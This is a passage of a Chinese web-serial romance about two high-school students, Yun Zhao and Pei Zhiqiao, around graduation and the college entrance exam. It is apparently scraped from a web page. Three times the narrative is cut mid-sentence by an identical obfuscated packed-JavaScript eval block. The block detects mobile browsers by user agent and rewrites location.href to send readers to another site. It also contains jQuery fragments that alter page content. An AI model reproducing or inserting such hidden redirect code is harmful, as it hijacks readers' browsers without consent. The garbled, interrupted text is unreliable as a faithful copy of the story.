司佳恩一回来,梁大少作威作福的日子结束,鉴于他之前种种“不道德行为”,裴至峤并没有对向他求助的梁斯年伸出援手,一个人回班去了。 下午,裴至峤去办公室拿语文卷子,正好碰上丁菡在跟云昭讲今年的作文大赛。 比赛通知昨天下发,今天丁菡就通知云昭好好准备。国赛名额不多,丁菡很重视云昭的表现,想要再续去年的辉煌。 但今年没有裴至峤,怕是很难拿下两个一等奖。 云昭乖巧站在那儿,认真听文章的修改意见,却总是想起她和裴至峤一起获奖的那次。 只可惜,照片已经不在宣传栏上。 开门的声音惊动了云昭,她余光瞥见中途进来的裴至峤,但她没有任何与他接触的机会。最后,他们恰好一起出办公室,云昭这才有机会偷偷看他一眼。 那一眼,他们的目光撞上,有一帧极其短暂的对视。 然后,他们走向相反的方向。 至此,时间按下加速键。 两人的生活分别被比赛和升学占满,几乎再也没碰过面。 晚自习下课,云昭继续埋头苦算那道她并不擅长的圆锥曲线。等分针走过六十度,她才收起桌上的书,走出教室。 站在楼梯口,云昭等了三分钟,还是没见到裴至峤的身影。楼梯间的灯很亮,再也不会有一闪一闪的情况出现,云昭却怀念那晚坏掉的灯,和裴至峤温柔的叫她跟紧他的声音。 这是她没等到裴至峤的第三个晚上,她一个人沿着林荫道走出校门,路旁的香樟经过两场春雨洗礼,酝酿着下一次花期。地面残留着潮湿的水痕,反射出站台上发光的广告牌。 街对面的奶茶店没有生意不好的时候,云昭每次等车都能看见一群女孩子在笑着点单。七路公交车到站,车厢空荡,无人上下,短暂停留后又关了门。 三分钟后,六路公交车驶向站台,云昭在常坐的后排,靠在窗户上,感受着车辆进入海棠盛放的梨园路。 孤独的夜晚持续了一个周。 周测的晚上,英语课代表生病请假,武滢点了两个英语成绩不错的同学去办公室改卷,云昭是其中之一。 她们在办公室待了整个晚自习,改完自己班上的卷子后,看见教高三文一英语的钟老师生理期撞上感冒,整个人难受得很,又帮她改了一部分试卷。 云昭在整理卷子,和她一起来改卷的陶永昕去帮钟老师接热水。 “老师,卷子给您放这里吗?” 钟双强撑着看了几眼卷子,夸云昭她们改得细心,没什么错漏的地方。 “那你帮我拿到班上去吧,我待会儿去评讲。” 云昭说好,陶永昕正好接水回来,她和云昭一起去送卷子。 路上,云昭看了眼手表,现在是八点五十八分,下课铃会在两分钟后响。 云昭不解的问:“不是要放学了吗?钟老师怎么还要去讲课?” “你不知道吗?高三从上周开始晚自习延长半小时,不跟我们一起放学。” 陶永昕边走边跟云昭感叹:“高三强度也太大了,钟老师病成那样都不肯请假,还要给学生讲卷子。时间宝贵,真是一分钟都耽误不起。” 云昭心下一惊,回味着陶永昕的话。她现在她才知道,高三晚自习延长了。 她问:“为什么只有这一届延长了,以前都没听说过这事。” 一中不会对高三生增加课时,一直强调要保证学生的休息时间,摒弃疲劳学习,云昭一直没想到裴至峤不出现是因为晚自习延长。 陶永昕解释:“貌似是因为高三一模考得不太好吧,高三年级主任再三申请必须得给学生上点强度。” 考得不好吗?云昭明明看见光荣榜上,裴至峤拿了一模第一。 事已至此,纠结这些没意义,只是以后云昭晚自习下课再也等不到裴至峤。 走到高三文一门口,云昭一个人进去放卷子,陶永昕在门外等她。 几秒的间隙里,云昭抬头看了一眼教室里的人,视线在裴至峤身上停留一瞬。 他低头在做题,没发现她来过一次。 下课铃响得很准时,云昭回教室收拾书包。时钟依旧嘀嗒转,她却不会再等那十分钟。 “小鱼,我们一起走吧。” “哎,你今天不在教室多留一会儿吗?” 云昭和虞岁手挽手出教室,另一边的高三依旧灯火通明。 云昭说:“不了,以后都不留在教室了。” 反正再也等不到想遇见的人。 再次坐上公交车,春天的晚风吹得人发冷,云昭把外套的拉链拉高,防止风灌进来。她靠着车窗,脑子混乱,觉得离别的滋味似乎来得格外快,席卷着她的全部感官。 日子好像没什么特别,上课、写作业、听虞岁讲八卦,明明是和以前一样的生活,她却感觉完全变了。 晚自习下课后再也找不到他的身影,这个曾经被云昭当作一天中最浪漫的时刻结束了。 四月下旬,世界读书日。 这周的国旗下讲话轮到高二文一,武滢和丁菡商量,把这件事交给云昭,让她写一篇和读书相关的演讲稿,周一去主席台讲话。 云昭巡视一圈书架,视线落在《一个陌生女人的来信》上。茨威格的小说里,她最喜欢这本,中文和原版都看过好几遍,里面藏着她不想让人知道秘密。 那个关于裴至峤的秘密。 她的手停在这本书上,停了很久。 最后,她取下了旁边那本《昨日的世界》。 对云昭来说,带着秘密、带着裴至峤痕迹的书太特别,她无法分享给别人。 于是,她选了另一本书。 周末两天,云昭重温一遍小说,写好了国旗下讲话的演讲稿。 周一上台,云昭其实并不紧张,她已经有过很多次国旗下讲话。她在台上讲述着茨威格的生平、这本书的创作背景,分享自己从书里读到的欧洲最好也最坏的时代。 一切都很顺利,直到云昭的目光越过前面无数人,和站在最后的裴至峤对视上。 在今天以前,这个学期的所有升旗仪式中,云昭都不曾看到裴至峤。当他不再以学生会检查的身份站在她班级旁边时,云昭才知道转头看他一次有多困难。 今天,因为她站在台上,所以她不用回头就可以看见他。尽管距离远,但云昭有一双视力极好的眼睛。 云昭看见他在微笑。 他的视线一直追随她,的的确确是在笑着。 云昭的心乱了一拍,扑通扑通的心跳搅乱了她演讲的思绪。 她不敢再看他,把注意力全部集中在演讲稿上,有惊无险的说完。 下台前,云昭往最后一排看了几次。她不自觉的在脑海中对比现在的他和上次见到的他有什么不一样。 得 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17285563|197773||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 出的结论是,他的头发长了一点,遮住了眉毛。 失去晚自习后和他一起走出校门这个契机后,云昭只能在升旗仪式上偷瞄他,看他那双含笑的眼睛。 当目光越过重重阻挡相遇时,云昭不明白,裴至峤看向她的眼神是偶然还是刻意。 23号,世界读书日当天,一中举办了一场读书交流会,同学们可以把自己想分享的书放进阅览室,同时可以阅读别的同学分享的作品。 虞岁吐槽,学校就爱搞这些花里胡哨的。这个时代,能认真读完一部文学作品的人有多少,大部分人的注意力不是被偶像剧吸引,就是沉浸在游戏里。让他们推荐书,简直是难为人。 阅览室的展示架零零散散的摆着几本,大部分是文科班的学生贡献的,理科班更是拿不出几本。 云昭把她国旗下讲话的那本书放了过去,不过她想,应该没什么人会看。学习压力已经很大了,谁不喜欢轻松的娱乐活动,经典文学作品看起来太费劲。 除非有人特别喜欢文学。 书放在那里好几天,云昭忙于期中考,一直没多余精力关心。 直到期中考完,交流活动最后一天,她独自去阅览室取回自己的书。 这时是晚饭时间,阅览室一个人也没有。 展示架只剩两本书,孤零零的放在那里,傍晚天色渐暗,云昭从中读出了一丝可怜的意味。 云昭走近看,一本书是余华的《第七天》,另一本……是《刑法学讲义》。 熟悉的书名出现,云昭不认为这是巧合。 她想不出除了他,谁还会看这本书。封面上残存着使用的痕迹,反映出他经常翻阅。 云昭颤抖又挣扎,翻开了书的封面,看见扉页上用行楷写了一个裴。 这是裴至峤的书。 云昭肯定。 好奇心作祟让她想继续往下翻的时候,阅览室来人了。 “同学,你是来借书的吗?” 阅览室值班的同学吓了云昭一跳,他把借阅登记表拿给云昭,提醒云昭借书要登记。 云昭说:“不是,我是来拿我自己的书。” 但她那本《昨日的世界》并不在展示架上。 云昭问值班同学:“交流会的书只剩这两本了吗?其他的呢?” “其他的都被拿走了吧,这两本一直没人来拿,我们待会儿就要收走了。” 云昭问:“那收走后的书会怎么办?” “不知道,大概会被学校统一处理吧。” 阅览室地方不大,总不能把没人要的书一直摆在这儿。 云昭的思绪停在他说的那句要把书收走处理上。 她想:好可惜,这本满是裴至峤痕迹的书要被销毁。 值班同学催促云昭:“你的书是哪本,请快拿走,我们要锁门了。” 云昭在展示架上仔细翻找,还是没找到自己的书,最后,她的视线落在裴至峤的书上。 既然结果都是一样,那么是谁处理的是不是无关紧要。 在反复挣扎和不耐烦的催促中,云昭伸手,从展示架上拿下那本《刑法学讲义》。 那一刻,云昭的想法仅仅只是想替他保存下这本书。 就是好可惜,她放在这里的书不见了,她写了好多笔记在上面呢。 她想,也许是有人忘了还回来。 这场读书交流会举办得并不成功,据说后来很多届,一中再也没有举办过这个活动。 意外得来的书被云昭放在书架的最高层。 后来很多年,也再也没有人重复他们的阴差阳错。 20. 香樟 「香樟枝繁叶茂,记录了他在学校的最后一个下午,我误打误撞闯入,和他共同完成了一首《小夜曲》。盛夏的傍晚,我诚挚的祝福他考试顺利、毕业快乐。他是如此耀眼的人,应该走到光明的前程里去。希望我也是。」——@福音书与祷告文 高三的二模三模接踵而至,五月一晃而过。 今年夏天从这时候开始。 手机里天气预报显示,淮川迎来连日高温,气温突破三十度,一中的学生换上短袖校服。 太阳天的体育课最折磨人,好在体育老师没过多为难,热身完就让她们解散。 云昭坐在香樟树遮蔽的阴凉地。 篮球场上有人在打球,一中的球服是白色,很扎眼,能让人一眼注意到。 云昭往篮球场的方向看着,才想起高三早已停掉体育课,她不可能再看见他。 日历翻过一页又一页,已经是六月了。 高考前一周,高三组织拍毕业照。 一中毕业照分两种,大合照是整个年级一起拍,小合照是各班拍。 操场边的阶梯站满了高三的学生,穿着相同的校服依次站立。茫茫人海里,云昭很难瞧见裴至峤在哪里。 好几台相机摆在中间,闪光灯在阴翳的天里闪个不停,镜头短暂的停留,记录下永恒的十八岁。 这一刻,所有人都在笑。 只有云昭垂下眼眸,不再望向操场。眼里是数学练习题,她却一个字也写不出。 那个一次又一次被压下的遗憾又在此刻翻涌,他们错位的时间,让云昭始终无法拥有那张有他的毕业照。 操场的热闹久未散去。 这是高考前最后一个可以放松的下午,学生们不舍得走,每个人手上拿着手机或CCD,拍学校、拍好友、拍下再也回不去的学生时代。 更有大胆的人,举起相机留下暗恋对象的最后一张照片,拍下属于青春的悸动。 广播站放着应景的《晴天》,有人笑着笑着就哭了。 梁斯年在给司佳恩擦眼泪。 “好了好了,不就是浪费了一张相纸吗?我赔你一箱行不行?” 司佳恩带着哭腔,狠狠往梁斯年身上捶了一拳。 “是一张相纸的事儿吗?这可是我们最后一张照片,你还不给我好好拍!” “讨厌死你了梁斯年!” 梁斯年没恼,反而笑了:“好好好,又讨厌我了。” 没正形的样子害司佳恩又想打他,不过没下得去手。 梁斯年继续哄:“谁说这是我们最后一张照片了?等上大学我还给你拍,拍多少都行。” “上大学你怎么给我拍啊?我们相隔两千公里,你飞过来给我拍吗?” 梁斯年纠正她:“哪里有两千公里,不就两公里。” 司佳恩推他一把:“你开什么玩笑!” 梁斯年不怒反笑:“京北大学和传媒大学不是只隔了两公里?难道我记错了?” 司佳恩惊讶得哭也忘了:“你不是拿到淮大的保送了吗?怎么还要考京大?” “我不喜欢物理。而且我说过,要给你当专属摄影师。” 司佳恩止住泪,闷闷的“嗯”一声,算是原谅他了。 裴至峤站在树荫下,梁斯年大声喊他来拍照。声音唤回他思绪,他慢悠悠走过去。 “你俩调情完了,终于想起我了?” 裴至峤嘴上不饶人,手却接过了相机。他早习惯了这俩人,一天不吵都不行的。 司佳恩甩锅甩得快:“要怪就怪梁斯年,拍不好还浪费我那么多张相纸!” 梁斯年纵容司佳恩,把矛头指向裴至峤:“明明是你自己站那儿发呆,怎么能怪我!” 裴至峤白他一眼,懒得理他。 小插曲过后,梁斯年叫裴至峤站近点,他们一起拍合照。 裴至峤没动:“我就不拍了,我给你们拍吧。” 他的拍照技术梁斯年和司佳恩信得过,昂贵的拍立得相纸总算没有再浪费。 拍到一半,有好几个女生过来,脸上挂着红晕,羞怯的问裴至峤:“可以和你拍张照吗?” 他礼貌回:“抱歉,我不太喜欢拍照。” 女生们没过多纠缠,一个接一个的离开。即使没有和裴至峤单独拍上照片,她们想,好歹还有那张大合照。 据说,这是为需要额外付费的大合照买单得最多的一年。 相纸告罄时,进入黄昏。 梁斯年大手一挥,请司佳恩和裴至峤吃大餐。司佳恩点了奶茶,先出校门去拿,留梁斯年和裴至峤收拾他们落在操场的东西。 梁斯年问:“你真一张照片都不拍?” 裴至峤说:“我不喜欢拍照。” “得了吧,你骗谁啊。” 喜欢拍和愿意拍是两回事,裴至峤就是不愿意拍,跨年那次他不就情愿得很。 “是你觉得学校没你想拍的地方,还是你没等到想合照的人?” 梁斯年一语中的,让裴至峤不自在,一下扯开话题:“你和司佳恩赶快去京北吧,别来烦我了。” 梁斯年拍拍裴至峤肩膀,意味深长:“行,我走,你就在淮川孤独终老吧!” 裴至峤被气笑,很想问问理一班的语文老师,“孤独终老”能这么用吗? 出校门那刻,广播里的《晴天》还在放,让裴至峤想起那天走廊上听到的她的歌声。 他望向身后那幢待了三年的教学楼,他不敢承认梁斯年那句话说的是对的,他的确没等到那个想合照的人,也不会等到那个人。 她还在上课。 晚自习结束,教学楼沉寂,表白墙炸了锅。 有人把毕业照发了上去,激起一群学妹的热议,云昭也终于得以窥见这张她注定缺席的照片里裴至峤的真容。 如果引用表白墙评论里夸张的一句来形容这张照片里的裴至峤,那就是—— 真帅哥绝不会见光死。 无数人脸型畸变的镜头里,裴至峤像是在另一个图层。阴天里依然白皙的肤色、流畅的轮廓和干净利落的脸部线条,处处反映出,这是他最光怪陆离的少年岁月。 照片拍得他实在太好看,云昭忍不住保存下来,放进只有他存在的相册里。 云昭和虞岁一起出教室,高三依旧在自习。 高考前三天,云昭早晨去办公室帮丁菡拿书,看见每个高三班主任桌上都摆着一沓卡片。 是高考准考证。 卡片很小一张,和身份证一样的尺寸,写着每一门的考场和座位。 一中是高考考场之一,学生几乎都在本校考试。因此,高一高二在临近期末的时候,还能拥有一个长达三天的高考假。 教学楼里吵吵嚷嚷,全是桌椅板凳碰撞的声音,都在为高考准备考场。 练习册全部收进靠墙的柜子里,多余的课桌搬去备用教室统一摆放,露出的字全被白纸遮挡。横五竖六的考场依照标准布置。 云昭恰好今天值日,她留在教室善后,等学生会来检查,确定没问题后她才离开。 等待的时间,云昭在教室外的走廊。整个学校很安静,大部分学生都已经回家,只剩寥寥几个在走廊上游荡。 很快,他们也走了。 学生会检查完,所有教室关灯锁门。 锁门那刻,云昭生出些惆怅,她想到再次推开这扇门时,裴至峤也许就彻底从她世界消失了。 她没有任何办法留住他。 走过熟悉的楼道,阳光透过窗的缝隙,在台阶上凝成形状。 耳里传来一阵轻柔的琴声。 教学楼下的旧钢琴平常没什么人弹奏,这几天临近高考,不知道谁起了个头,弹钢琴的人变得多了起来,一般都弹应景的流行曲。 这首与众不同,云昭听出,是舒伯特的《小夜曲》。 她走过楼梯转角,发现弹琴的人也与众不同。 是裴至峤。 曲子中段弹得磕磕绊绊,也许是裴至峤忘记了琴谱,落在琴键上的修长手指缓缓停下。 楼梯口和放钢琴的地方离得近,裴至峤转头或许是想看枝繁叶茂的香樟,却意外看见了云昭。 他没克制住的叫了一声她的名字。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17289862|197773||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 云昭感觉心脏被震了一下,努力抚平情绪站到裴至峤面前。 “裴学长在这里做什么?” 问题有点白痴,很明显裴至峤在这里弹琴。 云昭暗自反思,她一段时间没和他见面,一在他面前就紧张的毛病又犯了。 裴至峤没回答,让气氛显得更尴尬。 云昭只好继续硬着头皮展开话题:“你刚刚弹的曲子听起来好伤感,为什么弹这首曲子?” 裴至峤眼神灼热,落在云昭脸上。他不惊讶于云昭问出这个问题,因为他知道云昭会弹琴,她既然听得出这首曲子,就一定知道这首曲子是什么意思。 裴至峤说:“可能是因为要毕业了吧。” 所以伤感。 云昭不解:“毕业了不该高兴吗?” 站在云昭的角度,裴至峤应该是高兴的。毕业这个词意味着很多,是少男少女最渴望的成长与自由。 尽管云昭对于裴至峤的毕业很难过。 “可能是应该高兴的。” 所有人都很高兴,对裴至峤来说却不。 他不再继续这个话题,反而问云昭:“你会弹这首曲子吗?” 琴凳空出一半,裴至峤似乎在邀请云昭坐下,与他合奏。 云昭会谈这首曲子,也记得琴谱。 她看向他,再三确认他的邀请,才坐下来。 没办法,与他合奏这个诱惑太大,她扛不住,于是屈服。 云昭紧靠在琴凳边沿,怕不小心碰到裴至峤的手臂。她在脑海中回忆着谱子,从裴至峤刚刚中断的地方往下接。 《小夜曲》在钢琴曲中不算特别难,但感情细腻,强弱起伏需要精心处理,因此她弹得很专心。 裴至峤静静看了云昭一会儿,她没发现。 落下的双手回到琴键上,他弹着低音部分,与她合奏到结尾。 琴声停了,心动却没停。 按下最后一个音符后,他们同时看向彼此,目光交汇的是他们不能告人的秘密。 微风扰乱心跳,他们沉浸在刚才的四手联弹里出不来。琴凳不宽,即使云昭靠在边沿,他们的距离依旧很近,近到让人心慌,近到一有动作就会碰上。 近距离总会产生暧昧,连呼吸都变滚烫。 云昭的手腕卸了力,重重的砸在钢琴上,发出清脆而洪亮的声音,让思绪回归脑海。 迟来的感觉上线,让他们都意识到了现在正处于怎样的状态,耳尖的红色轻易的出卖内心,成为可被发觉的心动符号。 后知后觉的慌张涌现,两人同时从琴凳上起身。动作幅度太大,让他们不可避免的撞在一起。 云昭的额头撞上了裴至峤的肩膀。 气息交缠的一瞬引发另一场海啸,淹没了全部感官。 裴至峤下意识接住云昭。 云昭下意识抬头看向裴至峤。 她圆润的杏眼里带着歉意:“对不起。” “是我的问题,你没事吧?” 裴至峤想触摸云昭的额头,以此判断她的“伤势”。但想了想,他又放下手。 还没来得及多说什么,学生会检查考场的同学来拉警戒线,催促他们赶快离校。 “待会儿有领导来检查,明天还有大批学生来踩点,没事就赶紧走吧。” 这场相遇结束得太匆匆。 熟悉的教学楼被警戒线包裹,云昭来不及对裴至峤说什么,就被迫和他在林荫道上往校门的方向走去。 盛夏里,香樟发了新芽,繁盛的枝叶投射下大片阴影,树隙间零散的阳光像碎金般璀璨。 这是裴至峤在学校的最后一个下午了。 站台上人影疏疏,六路公交迟迟未到,平白给了他们更多相处时间。 傍晚凉爽的风浸润每一个角落,云昭酝酿再酝酿,终于在上车前开了口。 “裴至峤,祝你考试顺利、毕业快乐。” “也祝你前程似锦、梦想成真。” 云昭坐在公交最后一排,她笑着看向他。 裴至峤永远都记得这刻,记得云昭的笑。 21. 盛夏 6月7号,高考开始第一天。 整座城市全部为高考让道,荧光绿的交警在道路中间指挥来往车辆,早高峰拥挤的车流纷纷避让运送考生的大巴。 云昭在露台上看书,客厅的电视正播着天气预报,女主持声音清亮,播报今日气温29摄氏度。 昨天下了一场小雨,气温回降。过分潮湿的天气显得黏腻,让云昭觉得浑身不自在。 书看不进去,题也做不下去,脑子里全是前天那场匆忙的相遇。她和裴至峤之间连一句正经的“再见”都没说,就分别在盛夏里。 谁也不知道以后还有没有再见的机会。 这样的结局,多遗憾。 磨蹭到下午,云昭坐在沙发上,电视切到新闻频道。 淮川电视台的记者在各大考点外,举着摄像机和麦克风采访出考场的学生。 镜头扫过实验中学、淮川二中,最后停留在一中校门。 最先出考场的同学被问今年的数学难不难,语文作文题目是什么。 门口人潮拥挤,全是出考场的学生。 摄像机摇晃着,捕捉考生脸上细微的神情,记者用官方的说辞让大家放平心态,忘记今天的成绩,准备明天的考试。 新闻无聊,镜头切来切去,有那么一瞬间,裴至峤出现在屏幕里。 镜头偏爱好看的人,裴至峤顶着这样一张脸,实在让人无法忽视,摄像机敏锐,一扫而过他的侧颜。 然后切回记者。 云昭在电视前看了许久,裴至峤的身影没出现第二次。 提起的心沉下去,她关了屏幕,又回房间看书去了。 虞岁给云昭发来消息。 小鱼吃虾米:「昭昭,我们明天去图书馆吧。」 云昭想:肯定是虞岁又玩得忘乎所以,叫她去图书馆陪她补作业。 Wolke:「好。」 天气变幻无常,第二天温度异常高,一跃来到33摄氏度。 云昭穿一件浅绿色的连衣裙出门,和虞岁在图书馆碰面。 工作日,图书馆并不拥挤,云昭和虞岁坐在靠窗的位置,意外遇上了关栩宁,她也来图书馆自习。 虞岁找云昭要英语作业,准备“参考参考”。 关栩宁问:“你不怕被武老师发现之后挨骂?” 虞岁丧着一张脸:“没办法,她布置的也太多了,根本写不完。你们能写完的才是怪类!” 五张试卷对于三天假期来说确实不少,何况虞岁英语底子不太好,认真做的话不知道多久才能做完。 比起交白卷注定挨批的选项来说,还是抄完再交更有性价比,赌的就是老师发现不了。 话倒没错,让关栩宁不知道说什么,只能提醒虞岁,快要高考了,还是认真点吧。 对于“高考”这个词,不同人有不同感受。 云昭想的是现在,想的是裴至峤正在高考。 虞岁想的是未来,喃喃自语一句:“这么快就要高考了?” 关栩宁说:“对啊,等下次回学校,教室里就会贴上高考倒计时365天的通知。暑假还得补课一个月。” 从高考结束那刻开始,她们的高三就开始了。 虞岁猛的摇头,逃避关栩宁的话。 “不讲不讲,反正还有一年呢,现在别说这些扫兴的事!” 还有一年。 云昭觉得,一年过得很快,她和裴至峤相识已经一年了,她却感觉就在昨天。 从图书馆出来已经下午四点多,这里离一中不远,虞岁想去旁边的奶茶店买奶茶。 “写作业太消耗精力,我需要一点糖分补充体力。你们想喝什么随便点,我请客!” 云昭和关栩宁被虞岁拐到奶茶店门口,虞岁进去点单,她们站在外面等。 狭窄的屋檐挡不住紫外线的灼热,云昭眼睛眯起,往前看去。 还有十分钟,高考最后一门科目英语就要结束了。 “在想什么?” 关栩宁和云昭并排站,看出云昭有心事。 尽管云昭说:“没想什么。” 关栩宁笑着,显然不信。 “早就看出你心不在焉,图书馆里虞岁说什么你都没兴致。” 关栩宁顺着云昭的视线往前看,看见一中外围着的家长把门口淹没。 “你是不是在想他?” 这个“他”指的是谁,云昭很清楚。 她默认,她在想裴至峤。 今早出门,云昭存了一份心思,如果能恰好路过一中,她想再见一回裴至峤。奶茶店距离刚好,裴至峤考完从校门出来时,她可以看见他。 现在,还有五分钟。 “这里太远了,为什么不去门口?” 云昭觉得,可能缺一点勇气吧。 她始终不敢离他太近,怕他发现她的心思,更怕她自己无法戒断。 云昭想:和他的回忆如果太美好、太亲密,会让她很难接受以后没有他的日子。 “那不更应该站近一点吗?如果你把结局想成一个悲剧,那就该抓住一切能抓住的美好,反正以后再想有这样的机会也很难了。” 云昭有点懵:“是这样的吗?” 关栩宁肯定:“就是这样的。” 云昭信了她的话,稀里糊涂的站在一中门口时,考试结束的铃声正好响起。 大批考生蜂拥而出,对着记者的话筒大喊解放了。 裴至峤出来得不早不晚,混在人群里。 还是那句话,镜头偏爱好看的人。他一出来,话筒就自动递上来。 记者问:“这位同学你觉得自己考得怎么样?” 裴至峤有点意外,左右看了看,确定是采访自己,才接过话筒。 他说:“正常发挥。” “那你有没有什么想说的话呢?” 记者以为裴至峤会像其他人一样,说点对高中生活的感叹或者对大学生活的期待。 但裴至峤说:“希望明天是晴天。” 记者没明白裴至峤说的什么意思,云昭也没明白。 浅蓝色的身影站在前方,云昭隐匿在人群,听完裴至峤这段并不长的采访。 云昭觉得很幸运,今天恰好有记者向裴至峤递出话筒,恰好裴至峤接受了采访,才让她可以停在这里多看他十分钟。 而不是像昨天一样,只是一闪而过的画面。 云昭觉得,裴至峤真的是个很耀眼的人,应该走到光明的前程里去。 而她还在原地。 庆幸过后的失落涌上,心头说不出的难受。 后出考场的梁斯年揽过裴至峤肩膀,司佳恩走在前面,催促他们快走。 裴至峤离开了云昭的视线,走远了。 盛夏里,有一群人走向远方。 虞岁等奶茶等了很久,提着袋子出来的时候,发现云昭不见了。 “昭昭呢?” “她有事先走了。” 虞岁想问云昭去干什么了,却被关栩宁的问题岔开。 “你买的什么奶茶?” 虞岁把奶茶给关栩宁,再也想不起云昭的事。 关栩宁望向人潮汹涌的方向,她想,如果没出现意外,她应该也是那些人中的一个,在今天高考毕业。 尽管世事无常,但好像现在这样也不错。 她认识了新朋友,是很好的朋友。 夜幕降临,云昭坐在房间的书桌前,放在书架最上面、写着裴至峤名字的那本《刑法学讲义》被取下。 她看得很慢,一个多月里,这本书的进度刚过半。翻到书签标记的那一页,上面留着裴至峤看书时写的笔记。 海棠花枝摇曳,云昭总是好奇,他在写下这些笔记时想的是什么?以至于她每次看这本书时都无法专注。 可她得不到答案。 书被放回原处,作为明天要上课的准高三生,云昭不能熬夜。她闭上眼,脑海里是书架边他笑着和她说话的样子。 星子在天空闪,梨园路静谧安详,中心广场迎接着一群准大学生的狂欢。 灯红酒绿的包间中,五花八门的瓶子堆在一起,音响声音大得听不清身边人在说什么。造型各异的年轻男女三三两两坐在一起,笑着狂欢。 梁斯年的局,来的人不少,他人缘好,大家给面子,包厢闹作一团。 裴至峤坐在沙发,不习惯喧闹氛围,手中饮料见底,他抬手看了眼表,准备和梁斯年说告辞。 “走这么早干什么,待会儿还有下一场,一起去呗。” “你们玩儿吧,我不去了。” 裴至峤兴致不高,梁斯年挽留两句,依旧没改变他离开的想法。 对于高考生来说,今天应该是最最兴奋的夜晚,苦读十二年后第一个放肆夜晚,是生命中最独特的存在。 可对裴至峤来说好像不是这样。 下午出考场时,记者话筒递到他手上前,他先看到一抹浅绿身影。 一瞬间,他太心乱。 各种感慨离别的话从耳中掠过,他什么都听不清,只想起她在跨年时唱的那首《晴天》。 所以他说:希望明天是晴天。 没人明白他的意思。 连她也没有。 她困惑的眼光投来,他心中掀起一股酸涩。 “梁斯年!” 司佳恩红着脸朝梁斯年扑过来,被梁斯年一把搂住,拥在怀里。 “怎么了?喝醉了?” 司佳恩不回话,一直叫梁斯年的名字,整个人缠在他身上不肯放。 梁斯年觉得头大,司佳恩看起来真喝醉了,他还记得上次司佳恩喝醉 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17294415|197773||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了多闹人。 他求助似的看向裴至峤,裴至峤摊手笑。他没办法,司佳恩一般只闹梁斯年。 梁斯年无奈:“算了,我跟你一起走吧。” “不是还有下一场吗?不去了?” 司佳恩靠在身上摇摇欲坠,梁斯年只好重新扶起,蹲下来背她。 “她这个样子还怎么去?在家闹我总比在外面闹别人好。” 裴至峤轻笑,有时觉得梁斯年太惯着司佳恩,司佳恩养成现在这无法无天的性格,全怪梁斯年从小纵容。 其他人得知他们要走,一个劲的挽留,说东道主无论如何都不能早退。 “单我已经买过了,你们要玩什么都记在我账上。” 梁斯年应付了一会儿才脱身,接他们的车已在外等候。 夜色撩人,路灯的光一阵一阵的透进车里。司佳恩靠在梁斯年身上,难得安静,似乎睡着了。 裴至峤陡然出声,问:“你真决定为了司佳恩去京北?” 梁斯年对司佳恩关怀裴至峤全都看在眼里,他们心照不宣的默认着一件事。 梁斯年死要面子的辩解:“怎么是为了她呀,明明是淮大的专业我不喜欢。” 裴至峤笑着拆穿他:“淮大不是给了你自选专业的机会吗,你自己不要的。” 尴尬让人忙碌,梁斯年很生硬的扯开话题。 “那你呢?要留在淮川,去淮大学法律?” “我的打算从来没变过。” 学法律,做律师,是他一直梦寐以求的。即使现在他有更多渴求,也没改变他关于这件事的想法。 裴至峤觉得,留在淮川挺好的,至少现在,他离她很近。他拿不准她将来的方向,现在这样已经很好。 “也不打算去外面看看,你完全能上京北大学。” 裴至峤笑着摇头:“我就想留在淮川,淮大也很不错的。” 梁斯年开玩笑问:“你爸不是想让你去淮川政法读书吗?以时大律师在律师界的影响力,你完全可以平步青云,真不考虑考虑?” “你知道,我不可能去他那儿。” 提起这个,气氛一下僵持。 直到车开到别墅区门口,裴至峤下了车,梁斯年继续送司佳恩。 家里亮着灯,裴宛因今天从外地出差回来,正在收拾行李,客厅有点乱。 听到开门声,裴宛因有些意外,“怎么不和小年他们多玩一会儿?” 裴至峤边换鞋边解释,进屋和裴宛因一起收拾书房。备考用过的书和练习册堆在一起,打算把不要的都清理掉。 全是法律专业书的书架上突然出现一本风格迥异的文学类书籍引起裴宛因注意。 “这是你买的?什么时候喜欢看这个了?” 裴至峤看见封面上写着“昨日的世界”几个大字,一阵心虚晃过,而后装作平常的接下书。 “学校推荐的书目,我觉得挺有趣的。” 裴宛因没再管,裴至峤把书拿回自己房间。他庆幸裴宛因没有翻开,没有看见扉页上写的“云”。 裴至峤没撒谎,这本书的确是世界读书日的推荐书目,只是推荐人是云昭,书也是云昭的。 读书交流活动那天,裴至峤路过阅览室,将自己的《刑法学讲义》放进了书架,借走了这本云昭的书。 这个过程中出现了一点美丽的意外。 裴至峤原本打算看完书就还回去,他没想侵占云昭的书。 